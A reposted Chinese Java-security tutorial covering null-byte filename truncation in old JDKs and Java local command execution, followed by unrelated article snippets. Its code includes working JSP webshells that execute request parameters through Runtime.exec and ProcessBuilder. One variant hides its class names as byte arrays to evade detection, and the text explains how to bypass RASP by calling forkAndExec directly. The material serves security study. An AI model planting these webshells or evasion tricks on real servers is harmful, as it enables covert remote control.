受空字節截斷影響的JDK版本范圍:JDK<1.7.40,單是JDK7于2011年07月28日發布至2013年09月10日發表Java SE 7 Update 40這兩年多期間受影響的就有16個版本,值得注意的是JDK1.6雖然JDK7修復之后發布了數十個版本,但是并沒有任何一個版本修復過這個問題,而JDK8發布時間在JDK7修復以后所以并不受此漏洞影響。

參考:

https://bugs.java.com/bugdatabase/view_bug.do?bug_id=8014846
https://zh.wikipedia.org/wiki/Java版本歷史
https://www.oracle.com/technetwork/java/javase/archive-139210.html

8.3 Java文件名空截斷測試

測試類FileNullBytes.java:

package com.anbai.sec.filesystem;import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;/**
* @author yz
*/
public class FileNullBytes {public static void main(String[] args) {
try {
String fileName = "D://test/test.txt\u0000.jpg";
FileOutputStream fos = new FileOutputStream(new File(fileName));
fos.write("Test".getBytes());
fos.flush();
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
}}

使用JDK1.7.0.25測試成功截斷文件名:

使用JDK1.7.0.80測試寫文件截斷時拋出java.io.FileNotFoundException: Invalid file path異常:

在這里插入圖片描述

8.4 空字節截斷利用場景

Java空字節截斷利用場景最常見的利用場景就是文件上傳時后端獲取文件名后使用了endWith、正則使用如:.(jpg|png|gif)$驗證文件名后綴合法性且文件名最終原樣保存,同理文件刪除(delete)、獲取文件路徑(getCanonicalPath)、創建文件(createNewFile)、文件重命名(renameTo)等方法也可適用。

8.5 空字節截斷修復方案

最簡單直接的方式就是升級JDK,如果擔心升級JDK出現兼容性問題可在文件操作時檢測下文件名中是否包含空字節,如JDK的修復方式:fileName.indexOf(‘\u0000’)即可。

9 Java本地命令執行

9.1 Java本地命令執行

Java原生提供了對本地系統命令執行的支持,黑客通常會RCE利用漏洞或者WebShell來執行系統終端命令控制服務器的目的。
對于開發者來說執行本地命令來實現某些程序功能(如:ps 進程管理、top內存管理等)是一個正常的需求,而對于黑客來說本地命令執行是一種非常有利的入侵手段。

9.2 Runtime命令執行

在Java中我們通常會使用java.lang.Runtime類的exec方法來執行本地系統命令。

在這里插入圖片描述
Runtime命令執行測試runtime-exec2.jsp執行cmd命令示例:**
1.
本地nc監聽9000端口:nc -vv -l 9000
2.
使用瀏覽器訪問:http://localhost:8080/runtime-exec.jsp?cmd=curl localhost:9000。
我們可以在nc中看到已經成功的接收到了java執行了curl命令的請求了,如此僅需要一行代碼一個最簡單的本地命令執行后門也就寫好了。
在這里插入圖片描述

上面的代碼雖然足夠簡單但是缺少了回顯,稍微改下即可實現命令執行的回顯了。
runtime-exec.jsp執行cmd命令示例:

<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
<%--Created by IntelliJ IDEA.User: yzDate: 2019/12/5Time: 6:21 下午To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();ByteArrayOutputStream baos = new ByteArrayOutputStream();byte[] b = new byte[1024];int a = -1;while ((a = in.read(b)) != -1) {baos.write(b, 0, a);}out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

命令執行效果如下:在這里插入圖片描述
Runtime命令執行調用鏈

  • Runtime.exec(xxx)調用鏈如下:
java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
java.lang.ProcessImpl.start(ProcessImpl.java:134)
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
java.lang.Runtime.exec(Runtime.java:620)
java.lang.Runtime.exec(Runtime.java:450)
java.lang.Runtime.exec(Runtime.java:347)
org.apache.jsp.runtime_002dexec2_jsp._jspService(runtime_002dexec2_jsp.java:118)

通過觀察整個調用鏈我們可以清楚的看到exec方法并不是命令執行的最終點,執行邏輯大致是:
1.
Runtime.exec(xxx)
2.
java.lang.ProcessBuilder.start()
3.
new java.lang.UNIXProcess(xxx)
4.
UNIXProcess構造方法中調用了forkAndExec(xxx) native方法。
5.
forkAndExec調用操作系統級別fork->exec(*nix)/CreateProcess(Windows)執行命令并返回fork/CreateProcess的PID。

有了以上的調用鏈分析我們就可以深刻的理解到Java本地命令執行的深入邏輯了,切記Runtime和ProcessBuilder并不是程序的最終執行點!

反射Runtime命令執行
如果我們不希望在代碼中出現和Runtime相關的關鍵字,我們可以全部用反射代替。

  • reflection-cmd.jsp示例代碼:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %><%String str = request.getParameter("str");// 定義"java.lang.Runtime"字符串變量String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});// 反射java.lang.Runtime類獲取Class對象Class<?> c = Class.forName(rt);// 反射獲取Runtime類的getRuntime方法Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));// 反射獲取Runtime類的exec方法Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);// 反射調用Runtime.getRuntime().exec(xxx)方法Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});// 反射獲取Process類的getInputStream方法Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));m.setAccessible(true);// 獲取命令執行結果的輸入流對象:p.getInputStream()并使用Scanner按行切割成字符串Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");String result = s.hasNext() ? s.next() : "";// 輸出命令執行結果out.println(result);
%>

命令參數是str,如:reflection-cmd.jsp?str=pwd,程序執行結果同上

9.3 ProcessBuilder命令執行

學習Runtime命令執行的時候我們講到其最終exec方法會調用ProcessBuilder來執行本地命令,那么我們只需跟蹤下Runtime的exec方法就可以知道如何使用ProcessBuilder來執行系統命令了。

  • process_builder.jsp命令執行測試
<%--Created by IntelliJ IDEA.User: yzDate: 2019/12/6Time: 10:26 上午To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();ByteArrayOutputStream baos = new ByteArrayOutputStream();byte[] b = new byte[1024];int a = -1;while ((a = in.read(b)) != -1) {baos.write(b, 0, a);}out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

執行一個稍微復雜點的命令:/bin/sh -c “cd /Users/;ls -la;”,瀏覽器請求:http://localhost:8080/process_builder.jsp?cmd=/bin/sh&cmd=-c&cmd=cd%20/Users/;ls%20-la

在這里插入圖片描述
9.4.UNIXProcess/ProcessImpl
在這里插入圖片描述
UNIXProcess和ProcessImpl可以理解本就是一個東西,因為在JDK9的時候把UNIXProcess合并到了ProcessImpl當中了,參考changeset 11315:98eb910c9a97。

UNIXProcess和ProcessImpl其實就是最終調用native執行系統命令的類,這個類提供了一個叫forkAndExec的native方法,如方法名所述主要是通過fork&exec來執行本地系統命令。

UNIXProcess類的forkAndExec示例:

private native int forkAndExec(int mode, byte[] helperpath,byte[] prog,byte[] argBlock, int argc,byte[] envBlock, int envc,byte[] dir,int[] fds,boolean redirectErrorStream)throws IOException;

最終執行的Java_java_lang_ProcessImpl_forkAndExec:
在這里插入圖片描述
Java_java_lang_ProcessImpl_forkAndExec完整代碼:ProcessImpl_md.c
很多人對Java本地命令執行的理解不夠深入導致了他們無法定位到最終的命令執行點,去年給OpenRASP提過這個問題,他們只防御到了ProcessBuilder.start()方法,而我們只需要直接調用最終執行的UNIXProcess/ProcessImpl實現命令執行或者直接反射UNIXProcess/ProcessImpl的forkAndExec方法就可以繞過RASP實現命令執行了。

看完點贊關注不迷路!!! 后續繼續更新優質安全內容!!!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/532553.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/532553.shtml
英文地址,請注明出處:http://en.pswp.cn/news/532553.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

LeetCode-287 尋找重復數 二分法

LeetCode-287 尋找重復數 二分法 287. 尋找重復數 給定一個包含 n 1 個整數的數組 nums &#xff0c;其數字都在 1 到 n 之間&#xff08;包括 1 和 n&#xff09;&#xff0c;可知至少存在一個重復的整數。 假設 nums 只有 一個重復的整數 &#xff0c;找出 這個重復的數 。…

對某公司一次弱口令到存儲型xss挖掘

轉自我的奇安信攻防社區文章:https://forum.butian.net/share/885 免責聲明: 滲透過程為授權測試,所有漏洞均以提交相關平臺,博客目的只為分享挖掘思路和知識傳播** 涉及知識: xss注入及xss注入繞過 挖掘過程: 某次針對某目標信息搜集無意發現某工程公司的項目招標平臺 …

C++11新特性選講 語言部分 侯捷

C11新特性選講 語言部分 侯捷 本課程分為兩個部分&#xff1a;語言的部分和標準庫的部分。只談新特性&#xff0c;并且是選講。 本文為語言部分筆記。 語言 Variadic Templatesmove semanticsautoRange-based for loopInitializer listLambdas… 標準庫 type_traitsunodered…

java安全(二):JDBC|sql注入|預編譯

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1 JDBC基礎 JDBC(Java Database Connectivity)是Java提供對數據庫進行連接、操作的標準API。Java自身并不會去實現對數據庫的連接、查詢、更新等操作而是通…

java安全(三)RMI

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1.RMI 是什么 RMI(Remote Method Invocation)即Java遠程方法調用&#xff0c;RMI用于構建分布式應用程序&#xff0c;RMI實現了Java程序之間跨JVM的遠程通信…

LeetCode-726 原子的數量 遞歸

LeetCode-726 原子的數量 遞歸 題目鏈接&#xff1a;LeetCode-726 原子的數量 給你一個字符串化學式 formula &#xff0c;返回 每種原子的數量 。 原子總是以一個大寫字母開始&#xff0c;接著跟隨 0 個或任意個小寫字母&#xff0c;表示原子的名字。 如果數量大于 1&#xf…

java安全(四) JNDI

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1.JNDI JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目錄接口。通過調用JNDI的API應用程序可以定位資源和其他程序對象。JNDI是Java…

二叉樹的層序遍歷和前中后序遍歷代碼 迭代/遞歸

前中后序遍歷&#xff08;DFS&#xff09; 首先我們要明確前中后序遍歷的順序&#xff1a; 前序&#xff1a;中左右中序&#xff1a;左中右后序&#xff1a;左右中 前中后序遍歷的遞歸代碼和迭代代碼分別有各自的框架&#xff0c;然后根據遍歷順序調整記錄元素的位置即可。 …

java安全(五)java反序列化

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1. 序列化 在調用RMI時,發現接收發送數據都是反序列化數據. 例如JSON和XML等語言,在網絡上傳遞信息,都會用到一些格式化數據,大多數處理方法中&#xff0c…

git merge和rebase的區別與選擇

git merge和rebase的區別與選擇 轉自&#xff1a;https://github.com/geeeeeeeeek/git-recipes/wiki/5.1-%E4%BB%A3%E7%A0%81%E5%90%88%E5%B9%B6%EF%BC%9AMerge%E3%80%81Rebase-%E7%9A%84%E9%80%89%E6%8B%A9#merge BY 童仲毅&#xff08;geeeeeeeeekgithub&#xff09; 這是一篇…

java安全(六)java反序列化2,ysoserial調試

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; ysoserial 下載地址&#xff1a;https://github.com/angelwhu/ysoserial ysoserial可以讓?戶根據??選擇的利?鏈&#xff0c;?成反序列化利?數據&…

C++面試常見問題一

C面試常見問題一 轉自&#xff1a;https://oldpan.me/archives/c-interview-answer-1 原作者&#xff1a;[oldpan][https://oldpan.me/] 前言 這里收集市面上所有的關于算法和開發崗最容易遇到的關于C方面的問題&#xff0c;問題信息來自互聯網以及牛客網的C面試題目匯總。答題…

java安全(七) 反序列化3 CC利用鏈 TransformedMap版

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 目錄圖解代碼demo涉及的接口與類&#xff1a;TransformedMapTransformerConstantTransformerInvokerTransformerChainedTransformerdome理解總結&#xff1a…

C++編譯時多態和運行時多態

C編譯時多態和運行時多態 作者&#xff1a;melonstreet 出處&#xff1a;https://www.cnblogs.com/QG-whz/p/5132745.html 本文版權歸作者和博客園共有&#xff0c;歡迎轉載&#xff0c;但未經作者同意必須保留此段聲明&#xff0c;且在文章頁面明顯位置給出原文連接&#xff0…

java安全(八)TransformedMap構造POC

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 上一篇構造了一個了commons-collections的demo 【傳送門】 package test.org.vulhub.Ser;import org.apache.commons.collections.Transformer; import org…

Pytorch Tutorial 使用torch.autograd進行自動微分

Pytorch Tutorial 使用torch.autograd進行自動微分 本文翻譯自 PyTorch 官網教程。 原文&#xff1a;https://pytorch.org/tutorials/beginner/basics/autogradqs_tutorial.html#optional-reading-tensor-gradients-and-jacobian-products 在訓練神經網絡時&#xff0c;最常使用…

TVM:編譯深度學習模型快速上手教程

TVM&#xff1a;編譯深度學習模型快速上手教程 本文將展示如何使用 Relay python 前端構建一個神經網絡&#xff0c;并使用 TVM 為 Nvidia GPU 生成一個運行時庫。 注意我們需要再構建 TVM 時啟用了 cuda 和 llvm。 TVM支持的硬件后端總覽 在本教程中&#xff0c;我們使用 cu…

TVM:設計與架構

TVM&#xff1a;設計與架構 本文檔適用于想要了解 TVM 架構和/或積極開發項目的開發人員。頁面組織如下&#xff1a; 示例編譯流程概述了 TVM 將模型的高層描述轉換為可部署模塊所采取的步驟。要開始使用&#xff0c;請先閱讀本節。 邏輯架構組件部分描述了邏輯組件。后面的部…

遞歸+回溯

遞歸-回溯 本文參考自代碼隨想錄視頻&#xff1a; https://www.bilibili.com/video/BV1cy4y167mM https://www.bilibili.com/video/BV1ti4y1L7cv 遞歸回溯理論基礎 只要有遞歸&#xff0c;就會有回溯&#xff0c;遞歸函數的下面的部分通常就是回溯的邏輯。 回溯是純暴力的搜索…

Nvidia CUDA初級教程1 CPU體系架構綜述

Nvidia CUDA初級教程1 CPU體系架構綜述 視頻&#xff1a;https://www.bilibili.com/video/BV1kx411m7Fk?p2 講師&#xff1a;周斌 本節內容&#xff1a;了解現代CPU的架構和性能優化&#xff1a; 流水線 Pipelining分支預測 Branch Prediction超標量 Superscalar亂序執行 Out…